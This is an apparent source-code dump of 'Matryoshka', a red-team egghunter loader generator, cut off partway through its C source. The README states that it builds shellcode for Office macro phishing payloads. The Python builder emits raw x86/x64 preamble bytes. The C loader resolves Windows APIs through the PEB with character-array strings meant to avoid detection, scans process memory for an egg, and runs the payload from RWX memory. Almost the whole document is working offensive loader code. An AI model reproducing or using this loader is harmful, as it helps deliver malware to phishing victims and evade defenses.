├── .gitignore
├── README.md
├── builder
├── matryoshka.py
├── requirements.txt
└── templates
│ ├── x64
│ └── Matryoshka.dll
│ └── x86
│ └── Matryoshka.dll
└── src
└── Matryoshka
├── Matryoshka.sln
└── Matryoshka
├── Matryoshka.vcxproj
├── Matryoshka.vcxproj.filters
├── Matryoshka.vcxproj.user
├── api.h
├── crt.h
├── debug.h
├── funcs.h
├── matryoshka.c
├── matryoshka.h
└── peb.h
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | *.py[cod]
3 | .DS_Store
4 | **/.DS_Store
5 | bin/
6 | obj/
7 | **Debug/*
8 | **Release/*
9 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Overview
2 | Matryoshka loader is a tool that red team operators can leverage to generate shellcode for an egghunter to bypass size-limitations and performance issues commonly associated with VBA or Excel 4.0 macro payloads when creating Microsoft Office documents for targeted phishing attacks.
3 |
4 | # Usage
5 | The builder supports the following set of arguments. The user must supply an egg value along with the required architecture for the egghunter shellcode. When invoked the egghunter will search through the process memory to identify the egg, copies it to RWX memory, and then transfers control to it.
6 |
7 | ```
8 | usage: matryoshka.py [-h] -s SHELLCODE -a ARCHITECTURE -o OUTPUT_SHELLCODE -e OUTPUT_EGG [-n]
9 |
10 | Matryoshka Loader Shellcode Generator
11 |
12 | optional arguments:
13 | -h, --help show this help message and exit
14 | -s SHELLCODE, --shellcode SHELLCODE
15 | Path to shellcode file
16 | -a ARCHITECTURE, --architecture ARCHITECTURE
17 | Payload architecture to target (x86 or x86_64)
18 | -o OUTPUT_SHELLCODE, --output-shellcode OUTPUT_SHELLCODE
19 | Path to write Matryoshka shellcode to
20 | -e OUTPUT_EGG, --output-egg OUTPUT_EGG
21 | Path to write Egg value to
22 | -n, --no-spawn-thread
23 | Do not spawn a new thread when running the stager (may cause stability issues)
24 | ````
25 |
26 | # Directory Structure
27 | Matryoshka consists of two primary components. The first is the core loader written in C and the second component is the builder script written in Python. The builder is responsible for generating a preamble that handles bootstrapping tasks to launch the core loader and is responsible for passing an embedded configuration to the core loader.
28 |
29 | - src: The src directory contains the source code for the core loader.
30 | - builder: The builder directory contains the source code for the builder.
31 |
32 | # References
33 | [1] https://www.praetorian.com/blog/red-team-tooling-writing-custom-shellcode/
34 |
--------------------------------------------------------------------------------
/builder/matryoshka.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import argparse
4 | import os
5 | import pefile
6 | import struct
7 | import sys
8 |
9 | from Crypto.Cipher import ARC4
10 |
11 | class Config:
12 | MAGIC = 0xC0FFEE
13 |
14 | @classmethod
15 | def Generate(cls, size, pattern, key, flags):
16 | magic = struct.pack('I', cls.MAGIC)
17 | size = struct.pack('I', size)
18 | flag = struct.pack('H', flags)
19 | config = bytearray(magic) + pattern + flag
20 |
21 | return config
22 |
23 | class Egg:
24 | MAGIC = 0xFEEDFACE
25 |
26 | def __init__(self, payload):
27 | self.key = os.urandom(16)
28 | self.pattern = os.urandom(8)
29 | self.payload = payload
30 |
31 | def Generate(self):
32 | #cipher = ARC4.new(key)
33 | #msg = cipher.encrypt(payload)
34 | magic = bytearray(struct.pack('I', self.MAGIC))
35 | size = struct.pack('I', len(self.payload))
36 |
37 | return self.pattern + magic + size + self.payload
38 |
39 | def GetKey(self):
40 | return self.key
41 |
42 | def GetPattern(self):
43 | return self.pattern
44 |
45 | class Template:
46 |
47 | def __init__(self, path):
48 | self.pe = pefile.PE(path)
49 |
50 | for section in self.pe.sections:
51 | if section.Name.decode('ascii').rstrip('\x00') == '.text':
52 | self.section = section
53 |
54 | if not hasattr(self, 'section'):
55 | raise RuntimeError("Failed to find the .text section in the template PE")
56 |
57 | def GetOffset(self):
58 | entrypoint = self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
59 | offset = entrypoint - self.section.VirtualAddress
60 | return offset
61 |
62 | def GetShellcode(self):
63 | return self.section.get_data()
64 |
65 | class Preamble:
66 |
67 | @staticmethod
68 | def GenerateX86(entrypoint):
69 | preamble_size = 28
70 | config_size = 14
71 | offset = entrypoint + preamble_size + config_size
72 | offset_config = preamble_size
73 |
74 | preamble = b'\xE8' + b'\x00\x00\x00\x00' # CALL 0
75 | preamble += b'\x58' # POP EAX
76 | preamble += b'\x83\xE8\x05' # SUB EAX, 5
77 | preamble += b'\x53' # PUSH EBX
78 | preamble += b'\x8B\xD8' # MOV EBX, EAX
79 | preamble += b'\x05' + struct.pack('I', offset) # ADD EAX, $OFFSET
80 | preamble += b'\x83\xC3' + struct.pack('B', offset_config) # ADD EBX, $OFFSET_CONFIG
81 | preamble += b'\x53' # PUSH EBX (EBX = Pointer to Config)
82 | preamble += b'\xFF\xD0' # CALL EAX
83 | preamble += b'\x83\xC4\x04' # ADD ESP, 4
84 | preamble += b'\x5B' # POP EBX
85 | preamble += b'\xC3' # RETN
86 |
87 | return preamble
88 |
89 | @staticmethod
90 | def GenerateX64(entrypoint):
91 | preamble_size = 44
92 | config_size = 14
93 | offset_loader = entrypoint + preamble_size + config_size
94 | offset_config = preamble_size
95 |
96 | preamble = b'\x48\x8d\x05\x00\x00\x00\x00' # LEA RAX, [RIP+0x0]
97 | preamble += b'\x48\x83\xE8\x07' # SUB RAX, 7
98 | preamble += b'\x51' # PUSH RCX
99 | preamble += b'\x48\x8B\xC8' # MOV RCX, RAX
100 | preamble += b'\x48\x05' + struct.pack('I', offset_loader) # ADD RAX, $OFFSET_LOADER
101 | preamble += b'\x48\x81\xC1' + struct.pack('I', offset_config) # ADD RCX, $OFFSET_CONFIG
102 | preamble += b'\x56' # PUSH RSI
103 | preamble += b'\x48\x8B\xF4' # MOV RSI, RSP
104 | preamble += b'\x48\x83\xEC\x20' # SUB RSP, 20
105 | preamble += b'\xFF\xD0' # CALL RAX
106 | preamble += b'\x48\x89\xF4' # MOV RSP, RSI
107 | preamble += b'\x5E' # POP RSI
108 | preamble += b'\x59' # POP RCX
109 | preamble += b'\xC3' # RET
110 |
111 | return preamble
112 |
113 | class Matryoshka:
114 |
115 | @staticmethod
116 | def Generate(payload, architecture, flags):
117 | if architecture.lower() == 'x86':
118 | return Matryoshka.GenerateX86(payload, flags)
119 | elif architecture.lower() == 'x86_64':
120 | return Matryoshka.GenerateX64(payload, flags)
121 | else:
122 | print("[-] Error must specify either x86 or x86_64 as the architecture")
123 | sys.exit(-1)
124 |
125 | @staticmethod
126 | def GenerateX86(payload, flags):
127 | print("[i] Opening the x64 shellcode template file")
128 | template = Template("templates/x86/Matryoshka.dll")
129 |
130 | offset = template.GetOffset()
131 | print("[i] Discovered entrypoint at offset: " + hex(offset))
132 |
133 | shellcode = template.GetShellcode()
134 | egg = Egg(payload)
135 |
136 | print("[+] Generated the bootstrap preamble for the egghunter")
137 | preamble = Preamble.GenerateX86(offset)
138 |
139 | print("[i] Generating the egghunter configuration file")
140 | config = Config.Generate(
141 | len(payload),
142 | egg.GetPattern(),
143 | egg.GetKey(),
144 | flags
145 | )
146 |
147 | print("[i] Combining the generated config, preamble, and loader")
148 | return preamble + config + template.GetShellcode(), egg.Generate()
149 |
150 | @staticmethod
151 | def GenerateX64(payload, flags):
152 | print("[i] Opening the x64 shellcode template file")
153 | template = Template("templates/x64/Matryoshka.dll")
154 | offset = template.GetOffset()
155 | shellcode = template.GetShellcode()
156 |
157 | print("[+] Generated the bootstrap preamble for the egghunter")
158 | preamble = Preamble.GenerateX64(offset)
159 |
160 | egg = Egg(payload)
161 |
162 | print("[i] Generating the egghunter configuration file")
163 | config = Config.Generate(
164 | len(payload),
165 | egg.GetPattern(),
166 | egg.GetKey(),
167 | flags
168 | )
169 |
170 | print("[i] Combining the generated config, preamble, and loader")
171 | return preamble + config + template.GetShellcode(), egg.Generate()
172 |
173 | def main():
174 | parser = argparse.ArgumentParser(
175 | description='Matryoshka Loader Shellcode Generator', add_help=True
176 | )
177 | parser.add_argument(
178 | '-s', '--shellcode', help="Path to shellcode file", required=True
179 | )
180 | parser.add_argument(
181 | '-a', '--architecture', help="Payload architecture to target (x86 or x86_64)", required=True
182 | )
183 | parser.add_argument(
184 | '-o', '--output-shellcode', help="Path to write Matryoshka shellcode to", required=True
185 | )
186 | parser.add_argument(
187 | '-e', '--output-egg', help="Path to write Egg value to", required=True
188 | )
189 | parser.add_argument(
190 | '-n', '--no-spawn-thread', help="Do not spawn a new thread when running the stager (may cause stability issues)", action='store_true', required=False
191 | )
192 |
193 | args = parser.parse_args()
194 |
195 | flags = 1
196 | if args.no_spawn_thread:
197 | flags = 0
198 |
199 | with open(args.shellcode, 'rb') as shellcode:
200 | print("[+] Opening the shellcode file specified by the user")
201 | payload = shellcode.read()
202 | result = Matryoshka.Generate(payload, args.architecture, flags)
203 | matryoshka = result[0]
204 | egg = result[1]
205 |
206 | print("[i] Writing the generated egghunter shellcode to disk")
207 | with open(args.output_shellcode, 'wb+') as file:
208 | file.write(matryoshka)
209 |
210 | print("[i] Writing the generated egg to disk")
211 | with open(args.output_egg, 'wb+') as file:
212 | file.write(egg)
213 |
214 | if __name__ == "__main__":
215 | main()
216 |
--------------------------------------------------------------------------------
/builder/requirements.txt:
--------------------------------------------------------------------------------
1 | pefile
2 |
--------------------------------------------------------------------------------
/builder/templates/x64/Matryoshka.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/praetorian-inc/Matryoshka/da3fe1c87ed7a14fb613e810dbfb36ca0fd08a53/builder/templates/x64/Matryoshka.dll
--------------------------------------------------------------------------------
/builder/templates/x86/Matryoshka.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/praetorian-inc/Matryoshka/da3fe1c87ed7a14fb613e810dbfb36ca0fd08a53/builder/templates/x86/Matryoshka.dll
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31025.194
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Matryoshka", "Matryoshka\Matryoshka.vcxproj", "{2BA0AA2F-4728-4D7D-83DB-A260D5872695}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x64.ActiveCfg = Debug|x64
17 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x64.Build.0 = Debug|x64
18 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x86.ActiveCfg = Debug|Win32
19 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Debug|x86.Build.0 = Debug|Win32
20 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x64.ActiveCfg = Release|x64
21 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x64.Build.0 = Release|x64
22 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x86.ActiveCfg = Release|Win32
23 | {2BA0AA2F-4728-4D7D-83DB-A260D5872695}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {06F8BD0A-0912-4C78-8D8F-CC96AB122CA3}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/Matryoshka.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 | 16.0
34 | Win32Proj
35 | {2ba0aa2f-4728-4d7d-83db-a260d5872695}
36 | Matryoshka
37 | 10.0
38 |
39 |
40 |
41 | Application
42 | true
43 | v142
44 | Unicode
45 |
46 |
47 | DynamicLibrary
48 | false
49 | v142
50 | true
51 | Unicode
52 |
53 |
54 | Application
55 | true
56 | v142
57 | Unicode
58 |
59 |
60 | DynamicLibrary
61 | false
62 | v142
63 | true
64 | Unicode
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 | true
86 |
87 |
88 | false
89 |
90 |
91 | true
92 |
93 |
94 | false
95 |
96 |
97 |
98 | Level3
99 | true
100 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
101 | true
102 |
103 |
104 | Console
105 | true
106 |
107 |
108 |
109 |
110 | Level3
111 | false
112 | true
113 | true
114 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
115 | true
116 | Disabled
117 | MultiThreaded
118 | false
119 | false
120 | false
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 | MatryoshkaEntrypoint
128 |
129 |
130 |
131 |
132 | Level3
133 | true
134 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
135 | true
136 |
137 |
138 | Console
139 | true
140 |
141 |
142 |
143 |
144 | Level3
145 | true
146 | true
147 | true
148 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
149 | true
150 | Disabled
151 | MultiThreaded
152 | false
153 | false
154 | false
155 |
156 |
157 | Console
158 | true
159 | true
160 | true
161 | MatryoshkaEntrypoint
162 |
163 |
164 |
165 |
166 |
167 |
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/Matryoshka.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 | Header Files
32 |
33 |
34 | Header Files
35 |
36 |
37 |
38 |
39 | Source Files
40 |
41 |
42 |
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/Matryoshka.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/api.h:
--------------------------------------------------------------------------------
1 | /**
2 | * @file apis.h
3 | *
4 | * @brief Code for position independent resolution of APIs by name
5 | *
6 | * Uses standard trick of using PEB to get base address of required DLLs
7 | * and then iterating over export address table to resolve addresses
8 | * of functions
9 | */
10 |
11 | #pragma once
12 |
13 | //
14 | // Global Headers
15 | //
16 |
17 | #include
18 | #include
19 |
20 | //
21 | // Project Headers
22 | //
23 |
24 | #include "debug.h"
25 | #include "peb.h"
26 |
27 | //
28 | // Force MSVC to Generate Relative Call Instructions
29 | //
30 |
31 | #include "crt.h"
32 |
33 | /**
34 | * @brief Get base address of specified DLL from PEB
35 | */
36 | PVOID GetDllBaseAddr(
37 | wchar_t* name
38 | )
39 | {
40 | _PPEB peb = NULL;
41 | PPEB_LDR_DATA ldr = NULL;
42 | PLDR_DATA_TABLE_ENTRY modules = NULL;
43 |
44 | //
45 | // Get address of the loaded modules list from PEB
46 | //
47 |
48 | #if defined(_WIN64)
49 | peb = (_PPEB)__readgsqword(0x60);
50 | #else
51 | peb = (_PPEB)__readfsdword(0x30);
52 | #endif
53 |
54 | ldr = (PPEB_LDR_DATA)peb->pLdr;
55 | modules = (PLDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
56 |
57 | //
58 | // Search for the specified module in the loaded modules list
59 | //
60 |
61 | while (modules && modules->DllBase) {
62 | if (crt_wcscmp(modules->BaseDllName.pBuffer, name) == 0) {
63 | return modules->DllBase;
64 | }
65 |
66 | modules = (PLDR_DATA_TABLE_ENTRY)modules->InMemoryOrderModuleList.Flink;
67 | }
68 |
69 | return NULL;
70 | }
71 |
72 |
73 | /**
74 | * @brief Looks for a specific function in the EAT of a specified DLL
75 | */
76 | PVOID GetAPIByName(
77 | PCHAR module,
78 | PCHAR target_name
79 | )
80 | {
81 | PCHAR function_name = NULL;
82 | PIMAGE_DOS_HEADER DosHeader = NULL;
83 | PIMAGE_NT_HEADERS NtHeader = NULL;
84 | PIMAGE_DATA_DIRECTORY directory = NULL;
85 | PIMAGE_EXPORT_DIRECTORY exports = NULL;
86 |
87 | PDWORD addresses = NULL, names = NULL;
88 | PWORD ordinals = NULL;
89 |
90 | DosHeader = (PIMAGE_DOS_HEADER)module;
91 | NtHeader = (PIMAGE_NT_HEADERS)(module + DosHeader->e_lfanew);
92 |
93 | directory = &NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
94 | exports = (PIMAGE_EXPORT_DIRECTORY)(directory->VirtualAddress + module);
95 |
96 | addresses = (PDWORD)(module + exports->AddressOfFunctions);
97 | names = (PDWORD)(module + exports->AddressOfNames);
98 | ordinals = (PWORD)(module + exports->AddressOfNameOrdinals);
99 |
100 | //
101 | // Linear search over set of functions to locate function by user
102 | // specified hash
103 | //
104 |
105 | for (DWORD i = 0; i < exports->NumberOfFunctions; i++) {
106 |
107 | function_name = module + names[i];
108 |
109 | if (crt_strcmp(target_name, function_name) == 0) {
110 | return module + addresses[ordinals[i]];
111 | }
112 |
113 | }
114 |
115 | return NULL;
116 | }
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/crt.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | void* crt_memcpy(void* dest, const void* src, unsigned int n)
6 | {
7 | unsigned long i;
8 | unsigned char* d = (unsigned char*)dest;
9 | unsigned char* s = (unsigned char*)src;
10 |
11 | for (i = 0; i < n; ++i) {
12 | d[i] = s[i];
13 | }
14 |
15 | return dest;
16 | }
17 |
18 | int crt_strcmp(const char* s1, const char* s2) {
19 | while (*s1 != '\0' && *s2 != '\0' && *s1 == *s2) {
20 | s1++;
21 | s2++;
22 | }
23 | return *s1 - *s2;
24 | }
25 |
26 | int crt_wcscmp(const wchar_t* s1, const wchar_t* s2)
27 | {
28 |
29 | while (*s1 == *s2++)
30 | if (*s1++ == 0)
31 | return (0);
32 |
33 | return s1 - --s2;
34 | }
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/debug.h:
--------------------------------------------------------------------------------
1 | /**
2 | * @brief Simple debugging tools
3 | */
4 |
5 | #pragma once
6 |
7 | #ifdef _DEBUG
8 | #include
9 | #define debug(fmt, ...) printf(fmt, __VA_ARGS__)
10 | #else
11 | #define debug(fmt, ...) do {} while (0)
12 | #endif
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/funcs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | typedef HANDLE(WINAPI* CreateThread_T)
6 | (
7 | LPSECURITY_ATTRIBUTES lpThreadAttributes,
8 | SIZE_T dwStackSize,
9 | LPTHREAD_START_ROUTINE lpStartAddress,
10 | LPVOID lpParameter,
11 | DWORD dwCreationFlags,
12 | LPDWORD lpThreadId
13 | );
14 |
15 | typedef HMODULE(WINAPI* LoadLibrary_T)
16 | (
17 | PCHAR lpFileName
18 | );
19 |
20 | typedef FARPROC(WINAPI* GetLastError_T)();
21 |
22 | typedef FARPROC(WINAPI* GetProcAddress_T)
23 | (
24 | HMODULE hModule,
25 | PCHAR lpProcName
26 | );
27 |
28 | typedef BOOL(WINAPI* IsBadReadPtr_T)
29 | (
30 | const VOID* lp,
31 | UINT_PTR ucb
32 | );
33 |
34 | typedef LPVOID(WINAPI* VirtualAlloc_T)
35 | (
36 | LPVOID lpAddress,
37 | SIZE_T dwSize,
38 | DWORD flAllocationType,
39 | DWORD flProtect
40 | );
41 |
42 | typedef FARPROC(WINAPI* VirtualQuery_T)
43 | (
44 | HMODULE hModule,
45 | PCHAR lpProcName
46 | );
--------------------------------------------------------------------------------
/src/Matryoshka/Matryoshka/matryoshka.c:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | //
4 | // Global Headers
5 | //
6 |
7 | #include
8 |
9 | //
10 | // Project Headers
11 | //
12 |
13 | #include "matryoshka.h"
14 | #include "debug.h"
15 |
16 | //
17 | // Force MSVC to generate relative call instructions
18 | //
19 |
20 | #include "api.h"
21 | #include "crt.h"
22 |
23 | //
24 | // Forward Declarations
25 | //
26 |
27 | BOOL MatryoshkaEntrypoint(matryoshka_loader_config_t* config);
28 | matryoshka_egg_t* MatryoshkaHunter(matryoshka_loader_config_t* config, matryoshka_state* state);
29 | BOOL MatryoshkaInitRuntime(matryoshka_state* state);
30 | BOOL MatryoshkaRunStage(matryoshka_loader_config_t* config, matryoshka_state* state, matryoshka_egg_t* egg);
31 |
32 | #ifdef _DEBUG
33 | BYTE egg_test[] = {
34 | // egg
35 | 0xFF, 0x12, 0x6F, 0xDA,
36 | 0xAB, 0x1C, 0x81, 0x9C,
37 |
38 | // magic
39 | 0xCE, 0xFA, 0xED, 0xFE,
40 |
41 | // size
42 | 0x04, 0x00, 0x00, 0x00,
43 |
44 | // payload
45 | 0xCC, 0xCC, 0xCC, 0xCC
46 | };
47 |
48 | int main() {
49 | matryoshka_loader_config_t config;
50 |
51 | config.magic = MATRYOSHKA_CONFIG_MAGIC;
52 | config.egg_pattern[0] = 0xFF;
53 | config.egg_pattern[1] = 0x12;
54 | config.egg_pattern[2] = 0x6F;
55 | config.egg_pattern[3] = 0xDA;
56 | config.egg_pattern[4] = 0xAB;
57 | config.egg_pattern[5] = 0x1C;
58 | config.egg_pattern[6] = 0x81;
59 | config.egg_pattern[7] = 0x9C;
60 |
61 | config.flags.spawn_new_thread = 0;
62 |
63 | debug("[i] Egg_Test Address Is %p\n", egg_test);
64 | MatryoshkaEntrypoint(&config);
65 | }
66 | #endif
67 |
68 | /**
69 | * @brief Entrypoint of the loader shellcode
70 | */
71 | BOOL MatryoshkaEntrypoint(
72 | matryoshka_loader_config_t *config
73 | )
74 | {
75 | BOOL success = FALSE;
76 | matryoshka_state state = { 0 };
77 |
78 | if (config->magic != MATRYOSHKA_CONFIG_MAGIC) {
79 | debug("[-] Error: Invalid Configuration File Passed to Matryoshka Loader\n");
80 | return FALSE;
81 | }
82 |
83 | success = MatryoshkaInitRuntime(&state);
84 | if (success == FALSE) {
85 | debug("[-] Error unable to resolve required runtime dependencies\n");
86 | return FALSE;
87 | }
88 |
89 | matryoshka_egg_t *egg = MatryoshkaHunter(config, &state);
90 | if (egg == NULL) {
91 | debug("[-] Error unable to find the egg specified within the config file\n");
92 | return FALSE;
93 | }
94 |
95 | success = MatryoshkaRunStage(config, &state, egg);
96 | if (success == FALSE) {
97 | debug("[-] Error unable to execute payload\n");
98 | return FALSE;
99 | }
100 |
101 | return TRUE;
102 | }
103 |
104 | /**
105 | * @brief Execute the stager
106 | */
107 | BOOL MatryoshkaRunStage(
108 | matryoshka_loader_config_t* config,
109 | matryoshka_state* state,
110 | matryoshka_egg_t* egg
111 | )
112 | {
113 | PBYTE rwx = state->runtime.VirtualAlloc(NULL,
114 | egg->egg_size,
115 | MEM_COMMIT,
116 | PAGE_EXECUTE_READWRITE);
117 |
118 | if (rwx == NULL) {
119 | debug("[-] Failed to Allocate Memory for Payload Execution\n");
120 | return FALSE;
121 | }
122 |
123 | crt_memcpy(rwx, egg->stage, egg->egg_size);
124 |
125 | if (config->flags.spawn_new_thread) {
126 | debug("[i] Spawning a thread to run stager");
127 | // TODO: Spoof thread start address so it doesn't point to
128 | // executable heap memory
129 | HANDLE hThread = state->runtime.CreateThread(NULL,
130 | 0,
131 | (LPTHREAD_START_ROUTINE)rwx,
132 | NULL,
133 | 0,
134 | 0);
135 |
136 | if (hThread == NULL) {
137 | debug("[-] CreateThread Failed");
138 | return FALSE;
139 | }
140 | }
141 | else {
142 | debug("[i] Executing the second stage payload using the current thread");
143 | ((void(*)())rwx)();
144 | }
145 |
146 | return TRUE;
147 | }
148 |
149 | /**
150 | * @brief Egghunter that searches for egg pattern specified in the configuration file
151 | */
152 | matryoshka_egg_t* MatryoshkaHunter(
153 | matryoshka_loader_config_t *config,
154 | matryoshka_state *state
155 | )
156 | {
157 | PBYTE MinAddress = 0x00000000;
158 | PBYTE position = MinAddress;
159 | MEMORY_BASIC_INFORMATION region = { 0 };
160 |
161 | do
162 | {
163 | DWORD result = state->runtime.VirtualQuery(position, ®ion, sizeof(region));
164 | debug("[i] Base Address: %p, Result = %d\n", region.BaseAddress, result);
165 |
166 | if (result == 0) {
167 | debug("[-] Unable to find egg value (VirtualQuery failed)\n");
168 | return NULL;
169 | }
170 |
171 | if (region.State & MEM_COMMIT && region.AllocationProtect & ~PAGE_GUARD && region.Protect != PAGE_NOACCESS) {
172 | if (region.Type == MEM_MAPPED || region.Type == MEM_IMAGE) {
173 | PBYTE start = region.BaseAddress;
174 | PBYTE end = (PBYTE)region.BaseAddress + region.RegionSize;
175 | SIZE_T matched = 0;
176 |
177 | for (SIZE_T i = 0; i < region.RegionSize; i++) {
178 | matched = (start[i] == config->egg_pattern[matched]) ? matched += 1 : 0;
179 |
180 | if (matched == sizeof(config->egg_pattern)) {
181 | if (&start[i] + sizeof(matryoshka_egg_t) < end) {
182 | matryoshka_egg_t* egg = (matryoshka_egg_t*)&start[i + 1];
183 | if (egg->magic == MATRYOSHKA_EGG_MAGIC) {
184 | debug("start: %p\n", &start[i] - sizeof(config->egg_pattern) + 1);
185 | debug("egg_test: %p\n", &egg_test);
186 | debug("egg_size: %d\n", egg->egg_size);
187 | return &start[i + 1];
188 | }
189 | else {
190 | matched = 0;
191 | }
192 | }
193 | }
194 | }
195 | }
196 | }
197 | position = (PBYTE)region.BaseAddress + region.RegionSize;
198 | } while (position != MinAddress);
199 |
200 | return NULL;
201 | }
202 |
203 | /**
204 | * @brief Resolve addresses of external subroutine dependencies
205 | */
206 | BOOL MatryoshkaInitRuntime(
207 | matryoshka_state *state
208 | )
209 | {
210 | PVOID kernel32base = NULL;
211 | wchar_t Kernel32WStr[] = { 'K', 'E', 'R', 'N' ,'E' ,'L', '3', '2', '.', 'D', 'L', 'L', '\0' };
212 | char GetProcAddressStr[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' };
213 | char LoadLibraryStr[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
214 |
215 | char Kernel32Str[] = { 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', '.', 'D', 'L', 'L', '\0' };
216 | char CreateThreadStr[] = { 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', '\0' };
217 | char VirtualAllocStr[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' };
218 | char VirtualQueryStr[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', '\0' };
219 | char IsBadReadPtrStr[] = { 'I', 's', 'B', 'a', 'd', 'R', 'e', 'a', 'd', 'P', 't', 'r', '\0' };
220 |
221 | debug("[i] Resolving Core Runtime Routines\n");
222 | kernel32base = GetDllBaseAddr(Kernel32WStr);
223 | debug("Got Kernel32 Base Address: %p\n", kernel32base);
224 |
225 | if (kernel32base == NULL) {
226 | debug("[-] Error Unable to Resolve Address of Kernel32\n");
227 | return FALSE;
228 | }
229 |
230 | //
231 | // Resolve the address of LoadLibrary and GetProcAddress
232 | //
233 |
234 | state->runtime.GetProcAddress = GetAPIByName(kernel32base, &GetProcAddressStr);
235 | if (state->runtime.GetProcAddress == NULL) {
236 | debug("[-] Unable to resolve address of GetProcAddress\n");
237 | return FALSE;
238 | }
239 |
240 | state->runtime.LoadLibrary = GetAPIByName(kernel32base, &LoadLibraryStr);
241 | if (state->runtime.LoadLibrary == NULL) {
242 | debug("[-] Unable to resolve address of LoadLibraryA\n");
243 | return FALSE;
244 | }
245 |
246 | //
247 | // Resolve Matryoshka Runtime Dependencies
248 | //
249 |
250 | HMODULE kernel32 = state->runtime.LoadLibrary(Kernel32Str);
251 | if (kernel32 == NULL) {
252 | debug("[-] Failed when attempting to reference kernel32.dll from LoadLibrary\n");
253 | return FALSE;
254 | }
255 |
256 | state->runtime.CreateThread = state->runtime.GetProcAddress(kernel32, CreateThreadStr);
257 | if (state->runtime.CreateThread == NULL) {
258 | debug("[-] Unable to resolve address of CreateThread\n");
259 | return FALSE;
260 | }
261 |
262 | state->runtime.IsBadReadPtr = state->runtime.GetProcAddress(kernel32, IsBadReadPtrStr);
263 | if (state->runtime.IsBadReadPtr == NULL) {
264 | debug("[-] Unable to resolve address of IsBadReadPtr\n");
265 | return FALSE;
266 | }
267 |
268 | state->runtime.VirtualAlloc = state->runtime.GetProcAddress(kernel32, VirtualAllocStr);
269 | if (state->runtime.VirtualAlloc == NULL) {
270 | debug("[-] Unable to resolve address of VirtualAlloc\n");
271 | return FALSE;
272 | }
273 |
